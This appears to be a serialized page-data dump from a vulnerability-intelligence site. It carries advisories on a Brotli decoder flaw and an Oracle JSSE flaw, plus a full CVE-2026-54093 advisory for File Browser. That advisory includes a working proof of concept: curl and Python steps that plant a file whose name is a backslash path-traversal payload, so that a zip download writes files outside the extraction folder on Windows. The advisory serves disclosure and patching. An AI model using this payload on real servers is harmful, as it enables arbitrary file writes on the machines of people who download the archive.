[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-54093":30,"landing-articles":72},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":44,"references":46,"score":51,"epss_score":52,"epss_percentile":53,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":54,"attack_mappings":64,"exploits":71},358760,"CVE-2026-54093","EUVD-2026-39504","File Browser: FilePath traversal in download-as-zip\u002Ftar via Windows-style backslash separators in stored filenames\n\n### Summary\nfilebrowser builds the download-as-zip \u002F download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\\..\\..\\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\\` as a path separator and write the extracted file **outside** the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.\n\n### Details\n`http\u002Fraw.go` `getFiles()` constructs the in-archive name and passes it to `github.com\u002Fmholt\u002Farchives@v0.1.5`:\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive) \u002F\u002F Linux no-op: ToSlash only rewrites '\\' on Windows\narchiveFiles = append(archiveFiles, archives.FileInfo{\n    FileInfo:      info,\n    NameInArchive: nameInArchive,\n    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\nOn Linux `filepath.Separator == '\u002F'`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt\u002Farchives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip\u002Ftar central directory.\n\nThe filename reaches the filesystem because the resource create path (`http\u002Fresource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean(\"\u002F\" + ...)`, which treats only `\u002F` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.\n\n### PoC\nDeployed against the official image `filebrowser\u002Ffilebrowser:v2.63.5` (current release, 2026-05-21).\n\n```bash\n# 1. Deploy\ndocker volume create fb-srv-vol\ndocker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:\u002Fsrv filebrowser\u002Ffilebrowser:v2.63.5\n# wait for \u002Fhealth == 200; read the generated admin password from `docker logs fb-poc`\nPW=\"\u003Cpassword from docker logs>\"\n\n# 2. Authenticate\nTOK=$(curl -s -X POST http:\u002F\u002Flocalhost:8088\u002Fapi\u002Flogin \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)\ncurl -s -o \u002Fdev\u002Fnull -w \"mkdir=%{http_code}\\n\" \\\n  -X POST \"http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fresources\u002Fevilzone\u002F\" -H \"X-Auth: $TOK\"\nFNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'\ncurl -s -o \u002Fdev\u002Fnull -w \"putfile=%{http_code}\\n\" \\\n  -X POST \"http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fresources\u002Fevilzone\u002F${FNAME}?override=true\" \\\n  -H \"X-Auth: $TOK\" --data-binary 'PWNED-BY-TONGHUAROOT'\n\n# 4. Download the folder as a zip and inspect the entry name\ncurl -s -o \u002Ftmp\u002Ffb_evil.zip \"http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fraw\u002Fevilzone?algo=zip\" -H \"X-Auth: $TOK\"\npython3 - \u003C\u003C'PY'\nimport zipfile, binascii\nz = zipfile.ZipFile('\u002Ftmp\u002Ffb_evil.zip')\nprint(\"entries:\", [i.orig_filename for i in z.infolist()])\ndata = open('\u002Ftmp\u002Ffb_evil.zip','rb').read()\nidx = data.find(b'PK\\x01\\x02')\nprint(\"central-dir hex:\", binascii.hexlify(data[idx:idx+72]).decode())\nprint(\"contains 0x5c backslash byte:\", b'\\x5c' in data[idx:idx+200])\nPY\n```\n\n**Observed output (verbatim):**\n```\nmkdir=200\nputfile=200\nentries: ['..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.txt']\ncentral-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973\ncontains 0x5c backslash byte: True\n```\nServer-side, the file exists with a literal backslash name:\n```\n-rw-r-----  1 user user  20  ..\\..\\..\\..\\..\\Windows\\System32\\evil.txt\n```\nThe central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\\..\\..\\..\\..\\Windows\\Sys...`.\n\n**Negative control** — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`:\n```\nsafezone entries: ['normal.txt']\nPUT ..%2F..%2Fevil2.txt  ->  HTTP 301  (collapsed by path.Clean; nothing escapes)\n```\nThis proves `\u002F` is handled but `\\` is the unhandled gap.\n\nTo observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows:\n```powershell\nExpand-Archive -Path .\\fb_evil.zip -DestinationPath .\\out -Force\n# 7-Zip \u002F WinRAR with default settings honor the ..\\ parents and write outside .\\out\n```\n\n### Impact\nArbitrary file write (CWE-22) on any party who downloads a folder\u002Fselection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip\u002Ftar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables\u002Fconfig in the extraction root's parent tree).\n\n### Affected versions\nAll current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http\u002Fraw.go` `getFiles()` is the root cause; `github.com\u002Fmholt\u002Farchives@v0.1.5` passes the name through verbatim.\n\n### Suggested fix\nNormalize Windows separators out of the in-archive name regardless of host OS, in `http\u002Fraw.go` `getFiles()` before constructing `archives.FileInfo`:\n```go\nnameInArchive = filepath.ToSlash(nameInArchive)\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"\u002F\") \u002F\u002F strip Windows separators on any host\n```\nOptionally also reject or sanitize filenames containing `\\` at create time in `http\u002Fresource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.","2026-06-12T21:53:00Z",{},false,[39],"CWE-22",[41,42,43],"cpe:2.3:a:filebrowser:filebrowser:2.63.5:*:*:*:*:*:*:*","cpe:2.3:a:filebrowser:filebrowser:1.11.0:*:*:*:*:*:*:*","cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*",[45],"Filebrowser Filebrowser",[47,48,49,50],"https:\u002F\u002Fgithub.com\u002Ffilebrowser\u002Ffilebrowser\u002Fsecurity\u002Fadvisories\u002FGHSA-gxjx-7m74-hcq8","https:\u002F\u002Fgithub.com\u002Ffilebrowser\u002Ffilebrowser\u002Fcommit\u002F847d08bdd135e5c3659f2e6dea2f0cd36617af9b","https:\u002F\u002Fgithub.com\u002Ffilebrowser\u002Ffilebrowser","https:\u002F\u002Fgithub.com\u002Ffilebrowser\u002Ffilebrowser\u002Freleases\u002Ftag\u002Fv2.63.6",0,0.00193,0.08884,{"timestamp":55,"automatable":56,"tech_impact":57,"exploitation":58,"cisa_decision":59,"cisa_remediation_timeline":63},"2026-06-25T18:24:21.078101Z","no","partial","poc",{"vector":60,"decision":61,"priority":62},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T02:33:07.007876\u002F","track_star","medium","60D",[65],{"name":66,"source":67,"tactics":68,"technique_id":70},"Exploitation for Privilege Escalation","attack_vector",[69],"privilege-escalation","T1068",[],{"count":73,"next":74,"previous":6,"results":75},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[76,84,92],{"id":77,"title":78,"summary":79,"published_at":80,"type":81,"link":82,"image_url":83},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":85,"title":86,"summary":87,"published_at":88,"type":89,"link":90,"image_url":91},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":93,"title":94,"summary":95,"published_at":96,"type":97,"link":98,"image_url":99},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]